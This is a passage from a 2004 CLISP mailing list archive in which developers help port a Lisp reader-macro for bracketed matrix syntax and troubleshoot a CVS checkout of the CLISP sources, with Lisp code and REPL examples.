2004 09:17:13 -0500 (EST) Received: from localhost (mgraffam@localhost) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5/Submit) with ESMTP id i29EHDg2010948 for ; Tue, 9 Mar 2004 09:17:13 -0500 (EST) X-Authentication-Warning: SunRa.mathlab.sunysb.edu: mgraffam owned process doing -bs From: Michael Graffam To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] macros for CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 9 06:35:05 2004 X-Original-Date: Tue, 9 Mar 2004 09:17:13 -0500 (EST) Hello everyone, Is there a CLISP guru who would be willing to help me with getting some macro code to work w/ CLISP? I have taken some macro code from the Matlisp project (which uses special FORTRAN-style matrices for LAPACK/BLAS) and ported it to use regular Lisp arrays instead. Specifically, the code in question is a macro so that [2 3 ; 4 5] is read as #2A((2 3)(4 5)). After crawling through the relevant code (without entirely understanding how it works) I managed to get it working with CMUCL. But what I really want it is to have it working in CLISP. Basically, I'm trying to kludge together some various BSD-licensed pieces of code to put together a small linear algebra package for Common Lisp. I really like this feature of Matlisp, however, so I thought I'd carry it along. From pascal@informatimago.com Tue Mar 09 06:44:42 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0iTJ-00031n-Rw for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 06:44:41 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B0hos-00029p-UQ for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 06:02:55 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 1838E586E3; Tue, 9 Mar 2004 15:27:30 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 97C7050418; Tue, 9 Mar 2004 15:26:57 +0100 (CET) Message-ID: <16461.54321.515980.49717@thalassa.informatimago.com> To: Michael Graffam Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] macros for CLISP In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 9 06:45:05 2004 X-Original-Date: Tue, 9 Mar 2004 15:26:57 +0100 Michael Graffam writes: > > Hello everyone, > > Is there a CLISP guru who would be willing to help me with getting some > macro code to work w/ CLISP? > > I have taken some macro code from the Matlisp project (which uses special > FORTRAN-style matrices for LAPACK/BLAS) and ported it to use regular > Lisp arrays instead. > > Specifically, the code in question is a macro so that [2 3 ; 4 5] > is read as #2A((2 3)(4 5)). > > After crawling through the relevant code (without entirely > understanding how it works) I managed to get it working with CMUCL. > > But what I really want it is to have it working in CLISP. > > Basically, I'm trying to kludge together some various BSD-licensed pieces > of code to put together a small linear algebra package for Common > Lisp. I really like this feature of Matlisp, however, so I thought I'd > carry it along. It would be easier for us to help you if we could see the source of this "macro", don't you think? Actually, it must be a macro-character function assigned to the #\[ character. I don't see any reason why it should not work equally on two implementations of Common-Lisp, that's pretty standard stuff... -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From sds@gnu.org Tue Mar 09 06:56:17 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0ieX-0005Yp-M6 for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 06:56:17 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B0iO2-0006gD-B9 for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 06:39:14 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i29Ed2PF010238; Tue, 9 Mar 2004 09:39:03 -0500 (EST) To: clisp-list@lists.sourceforge.net, Joe Corneli Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Joe Corneli's message of "Mon, 08 Mar 2004 18:51:24 -0600") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Joe Corneli Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: obtaining CVS clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 9 06:57:03 2004 X-Original-Date: Tue, 09 Mar 2004 09:39:02 -0500 > * Joe Corneli [2004-03-08 18:51:24 -0600]: > > OK, I figured out how to use the tarball from the webpage. It might > be helpful to include a 3 line README.CLISP-CVS like this along with > the tarball > > To use this, untar to produce a directory called "clisp" and then, > setenv CVSROOT > cvs checkout clisp this is a _VERY_ bad idea: you get the snapshot but not subsequent updates. if you want to use the bleeding edge, check out the CVS HEAD from SF. the CVS repository tarball which you downloaded is there for backup purposes only. (you need it also if you work on CLISP and do not have a network connection...) -- Sam Steingold (http://www.podval.org/~sds) running w2k If a train station is a place where a train stops, what's a workstation? From jcorneli@math.utexas.edu Tue Mar 09 07:16:51 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0iyR-0002Or-Da for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 07:16:51 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B0iJz-0002S5-A0 for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 06:35:03 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i29Exh125073; Tue, 9 Mar 2004 08:59:43 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1B0ihr-0004Fd-00; Tue, 09 Mar 2004 08:59:43 -0600 To: clisp-list@lists.sourceforge.net CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Tue, 09 Mar 2004 09:39:02 -0500) X-all-your-base-are-belong-to-us: You are on the way to destruction. References: Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: obtaining CVS clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 9 07:17:06 2004 X-Original-Date: Tue, 09 Mar 2004 08:59:43 -0600 > To use this, untar to produce a directory called "clisp" and then, > setenv CVSROOT > cvs checkout clisp this is a _VERY_ bad idea: you get the snapshot but not subsequent updates. if you want to use the bleeding edge, check out the CVS HEAD from SF. the CVS repository tarball which you downloaded is there for backup purposes only. (you need it also if you work on CLISP and do not have a network connection...) Since I couldn't get my machine to download from the SF CVS repository, I essentially didn't have a network connection (to the CVS repository). Anyway, a README describing the tarball's intended use wouldn't be a bad thing - it could also give information on how to obtain the bleeding edge sources. By the way, I noticed that if I run the normal cvs checkout routine from inside the directory I made via the above process, I get the following, instead of a panic over missing administration files (which I still get if I try the normal routine in the normal way). I think this log is full of errors, but at least I was able to get somewhere. [~/clisp]% cvs -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp login (Logging in to anonymous@cvs.sourceforge.net) CVS password: [~/clisp]% cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp co clisp cvs checkout: ignoring clisp (CVS/Repository missing) cvs checkout: in directory clisp: cvs checkout: cannot open CVS/Entries for reading: No such file or directory cvs server: Updating clisp U clisp/.cvsignore U clisp/ANNOUNCE U clisp/COPYRIGHT U clisp/GNU-GPL U clisp/INSTALL U clisp/Makefile.devel U clisp/SUMMARY U clisp/clisp.lsm U clisp/clisp.spec U clisp/configure cvs checkout: in directory clisp/acorn: cvs checkout: cannot open CVS/Entries for reading: No such file or directory cvs server: Updating clisp/acorn cvs checkout: in directory clisp/amiga: cvs checkout: cannot open CVS/Entries for reading: No such file or directory cvs server: Updating clisp/amiga cvs checkout: in directory clisp/amiga/jchlib: cvs checkout: cannot open CVS/Entries for reading: No such file or directory cvs server: Updating clisp/amiga/jchlib cvs checkout: in directory clisp/amiga/jchlib/include: cvs checkout: cannot open CVS/Entries for reading: No such file or directory cvs server: Updating clisp/amiga/jchlib/include cvs checkout: in directory clisp/amiga/jchlib/lib: cvs checkout: cannot open CVS/Entries for reading: No such file or directory cvs server: Updating clisp/amiga/jchlib/lib cvs checkout: in directory clisp/amiga/jchlib/misc: cvs checkout: cannot open CVS/Entries for reading: No such file or directory cvs server: Updating clisp/amiga/jchlib/misc cvs checkout: in directory clisp/amiga/jchlib/startup: cvs checkout: cannot open CVS/Entries for reading: No such file or directory cvs server: Updating clisp/amiga/jchlib/startup cvs checkout: in directory clisp/benchmarks: cvs checkout: cannot open CVS/Entries for reading: No such file or directory cvs server: Updating clisp/benchmarks U clisp/benchmarks/.cvsignore cvs [checkout aborted]: cannot open CVS/Entries.Log: No such file or directory [~/clisp]% From sds@gnu.org Tue Mar 09 07:50:37 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0jV7-0002MF-MJ for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 07:50:37 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B0iqc-0006N0-P8 for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 07:08:47 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i29FXGPF028661; Tue, 9 Mar 2004 10:33:16 -0500 (EST) To: clisp-list@lists.sourceforge.net, Joe Corneli Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Joe Corneli's message of "Tue, 09 Mar 2004 08:59:43 -0600") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Joe Corneli Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: obtaining CVS clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 9 07:51:05 2004 X-Original-Date: Tue, 09 Mar 2004 10:33:16 -0500 > * Joe Corneli [2004-03-09 08:59:43 -0600]: > > [~/clisp]% cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp co clisp > cvs checkout: ignoring clisp (CVS/Repository missing) do 'rm -rf clisp' before this command. PS. btw, what's the status of your effort to convert the final dpANS draft into CLISP doc? -- Sam Steingold (http://www.podval.org/~sds) running w2k Daddy, what does "format disk c: complete" mean? From jcorneli@math.utexas.edu Tue Mar 09 08:23:27 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0k0t-0002Uo-0r for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 08:23:27 -0800 Received: from dell3.ma.utexas.edu ([146.6.139.124]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B0jMM-00009r-NG for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 07:41:34 -0800 Received: from linux183.ma.utexas.edu (mail@linux183.ma.utexas.edu [146.6.139.172]) by dell3.ma.utexas.edu (8.11.0.Beta3/8.10.2) with ESMTP id i29G6K132732; Tue, 9 Mar 2004 10:06:20 -0600 Received: from jcorneli by linux183.ma.utexas.edu with local (Exim 3.36 #1 (Debian)) id 1B0jkK-0004Mh-00; Tue, 09 Mar 2004 10:06:20 -0600 To: clisp-list@lists.sourceforge.net CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Tue, 09 Mar 2004 10:33:16 -0500) X-all-your-base-are-belong-to-us: You are on the way to destruction. References: Message-Id: From: Joe Corneli X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: obtaining CVS clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 9 08:24:03 2004 X-Original-Date: Tue, 09 Mar 2004 10:06:20 -0600 > [~/clisp]% cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp co clisp > cvs checkout: ignoring clisp (CVS/Repository missing) do 'rm -rf clisp' before this command. OK, that looks to be just right. PS. btw, what's the status of your effort to convert the final dpANS draft into CLISP doc? I am wrote to XANALYS to ask about the copyright status of these documents (Pitman said they might know) and also to ask if they might just release the HyperSpec under the FDL. Haven't heard back yet. I'll contact them again soon. From pascal@informatimago.com Tue Mar 09 11:33:47 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0mz4-0004JL-P0 for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 11:33:46 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B0miM-0008Gs-Op for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 11:16:31 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id A7532586E2; Tue, 9 Mar 2004 20:16:19 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id DAB3A5041D; Tue, 9 Mar 2004 20:15:46 +0100 (CET) Message-ID: <16462.6114.823569.283680@thalassa.informatimago.com> To: Michael Graffam Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] macros for CLISP In-Reply-To: References: <16461.54321.515980.49717@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 9 11:34:03 2004 X-Original-Date: Tue, 9 Mar 2004 20:15:46 +0100 Michael Graffam writes: > Why this works in CMUCL but not CLISP continues to elude me. There > seems to be some special-casing for Allegro and such too. Is this code > just poorly written, or is stream I/O this finicky in CL? I don't know but your code looks quite complicated. Let the lisp reader do its work, and avoid concatenating strings like that! I don't know that a #\^m is. The carriage return is #\return, and the line feed is \#linefeed. You could include the page feed too (#\page). Here is what I would use for null-string-p (if I needed it): (defun null-string-p (s) (or (= 0 (length s)) (not (find-if (lambda (ch) (not (member ch +space-list+))) s)))) I don't see any reason why to use the nohang functions. You are not doing dynamic user interaction while reading a matrix are you? > (return-from parse-matrix-expression-1 > (list 'make-matrix-from-reader > (list 'quote (list n m)) > :initial-contents `(list ,@matrix-1))))) Macro characters are not macros! You don't return an expression to be evaluated, you return the data item read. The following implementation works as well in clisp as in sbcl or cmucl. You would have to add computing of element type. It is much less complicated to compute the dimension while reading the matrix, otherwise the list where I store the data could be mixed with data lists. (defconstant +space-list+ '(#\newline #\Return #\Linefeed #\space #\tab #\page)) ;; Note, usually, I prefer to keep characters in strings, ;; and using POSITION instead of MEMBER. ;; It's just harder to come with a string literal containing these characters. (defun looking-at (stream char) (loop (let ((next-char (read-char stream nil nil t))) (cond ((null next-char) (return-from looking-at nil)) ((eql next-char char) (return-from looking-at t)) ((member next-char +space-list+ :test (function eql))) (t (unread-char next-char stream) (return-from looking-at nil))))));;looking-at ;; You'll tell me how this looking-at works on allegro! (defun parse-matrix-expression (stream char) " Parses a vector or a matrix. array --> '[' contents ']' . contents --> row { ';' row } . row --> item { item } . " (declare (ignore char)) (multiple-value-bind (dimensions contents) (let ((nitems nil) (nrow 0) (rows '()) (items '())) (loop (cond ((or (looking-at stream #\;) (looking-at stream #\,)) (if (null nitems) (setf nitems (length items)) (when (/= nitems (length items)) (error "Different number of items in ~:R row; ~ expected ~D, found ~D" nrow nitems (length items)))) (push (nreverse items) rows) (incf nrow) (setf items '())) ((looking-at stream #\]) (when items (push (nreverse items) rows) (incf nrow)) (return)) (t (push (read stream t nil t) items)))) (if (null nitems) (values (list (length (car rows))) (car rows)) (values (list nrow nitems) (nreverse rows)))) (make-array dimensions :initial-contents contents))) (set-macro-character #\] (get-macro-character #\) )) (set-macro-character #\[ (function parse-matrix-expression)) ;; Remember to re-evaluate this set-macro-character call after ;; modifying parse-matrix-expression! (with-input-from-string (in "a b c ; d e f ; [ 1 2 ; 3 4 ] g h ] ") (parse-matrix-expression in #\[)) --> #2A((A B C) (D E F) (#2A((1 2) (3 4)) G H)) (read-from-string "( a matrix [ a b c ; d e f ; [ 1 2 ; 3 4 ] g h ] )") --> (A MATRIX |:| #2A((A B C) (D E F) (#2A((1 2) (3 4)) G H))) ; 54 (read-from-string "( a vector [ a b c d e f ] )") --> (A VECTOR #(A B C D E F)) ; 28 (read-from-string "( a vector [ (a b) (c d) (e f) ] )") --> (A VECTOR #((A B) (C D) (E F))) ; 34 (read-from-string "( a matrix [ a b ; c d ; e f ] )") --> (A MATRIX #2A((A B) (C D) (E F))) ; 32 -- __Pascal_Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he doesn't want merely because you think it would be good for him.--Robert Heinlein http://www.theadvocates.org/ From mgraffam@mathlab.sunysb.edu Tue Mar 09 16:21:53 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0rTs-0002ql-Ro for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 16:21:52 -0800 Received: from sunra.mathlab.sunysb.edu ([129.49.17.48]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1B0qot-0004b5-4Z for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 15:39:31 -0800 Received: from SunRa.mathlab.sunysb.edu (localhost [127.0.0.1]) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5) with ESMTP id i2A04KWO013341; Tue, 9 Mar 2004 19:04:20 -0500 (EST) Received: from localhost (mgraffam@localhost) by SunRa.mathlab.sunysb.edu (8.12.5/8.12.5/Submit) with ESMTP id i2A04I1I013337; Tue, 9 Mar 2004 19:04:19 -0500 (EST) X-Authentication-Warning: SunRa.mathlab.sunysb.edu: mgraffam owned process doing -bs From: Michael Graffam To: "Pascal J.Bourguignon" cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] macros for CLISP In-Reply-To: <16462.6114.823569.283680@thalassa.informatimago.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 9 16:22:09 2004 X-Original-Date: Tue, 9 Mar 2004 19:04:18 -0500 (EST) On Tue, 9 Mar 2004, Pascal J.Bourguignon wrote: > I don't know but your code looks quite complicated. Let the lisp > reader do its work, and avoid concatenating strings like that! Yeah, I'd have to agree with you there. The code in question is essentially straight out of the Matlisp distribution. This was my first exposure to Lisp macro characters (I like it!), and after getting the hang of it a bit, I ended up re-writing the entire thing in a much simpler way that works in CLISP, CMUCL and others. > > (return-from parse-matrix-expression-1 > > (list 'make-matrix-from-reader > > (list 'quote (list n m)) > > :initial-contents `(list ,@matrix-1))))) > > Macro characters are not macros! You don't return an expression to be > evaluated, you return the data item read. Are you sure? I just finished writing a macro character that tried to return a list, but which failed with an eval error -- so I ended up inserting a quote in front of it all. Or maybe I'm misunderstanding you. > The following implementation works as well in clisp as in sbcl or > cmucl. You would have to add computing of element type. It is much > less complicated to compute the dimension while reading the matrix, > otherwise the list where I store the data could be mixed with data > lists. Thanks! I look forward to studying it. I must say, the more Lisp I learn, the more I like it and can't imagine how I used other languages. I suppose this is the general consensus :) From pascal@informatimago.com Tue Mar 09 17:58:15 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1B0sz9-0000sa-38 for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 17:58:15 -0800 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1B0siG-0006WQ-KP for clisp-list@lists.sourceforge.net; Tue, 09 Mar 2004 17:40:49 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 8862F586E2; Wed, 10 Mar 2004 02:40:41 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 3E7F04F3D1; Wed, 10 Mar 2004 02:40:08 +0100 (CET) Message-ID: <16462.29176.120232.530376@thalassa.informatimago.com> To: Michael Graffam Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] macros for CLISP In-Reply-To: References: <16462.6114.823569.283680@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 9 17:59:10 2004 X-Original-Date: Wed, 10 Mar 2004 02:40:08 +0100 Michael Graffam writes: > > > (return-from parse-matrix-expression-1 > > > (list 'make-matrix-from-reader > > > (list 'quote (list n m)) > > > :initial-contents `(list ,@matrix-1))))) > > > > Macro characters are not macros! You don't return an expression to be > > evaluated, you return the data item read. > > Are you sure? I just finished writing a macro character that tried to > return a list, but which failed with an eval error -- so I ended up > inserting a quote in front of it all. Absolutely. (set-macro-character #\$ (lambda (stream char) '(1 2 3))) --> T (read-from-string " $ ") --> (1 2 3) ; 2 (set-macro-character #\$ (lambda (stream char) '(+ 1 2 3))) --> T (read-from-string " $ ") --> (+ 1 2 3) ; 2 (set-macro-character #\$ (lambda (stream char) (let ((n 2) (m 3) (matrix-1 '('(1 2) '(a b) '(4 5)))) (list 'make-matrix-from-reader (list 'quote (list n m)) :initial-contents `(list ,@matrix-1)) ))) --> T (read-from-string " $ ") --> (MAKE-MATRIX-FROM-READER '(2 3) :INITIAL-CONTENTS (LIST '(1 2) '(A B) '(4 5))) ; 2 (defparameter m (read-from-string " $ ")) --> M (aref m 1 1) --> *** - AREF: (MAKE-MATRIX-FROM-READER '(2 3) :INITIAL-CONTENTS (LIST '(1 2) '(A B) '(4 5))) is not an array > Or maybe I'm misunderstanding you. > > > The following implementation works as well in clisp as in sbcl or > > cmucl. You would have to add computing of element type. It is much > > less complicated to compute the dimension while reading the matrix, > > otherwise the list where I store the data could be mixed with data > > lists. > > Thanks! I look forward to 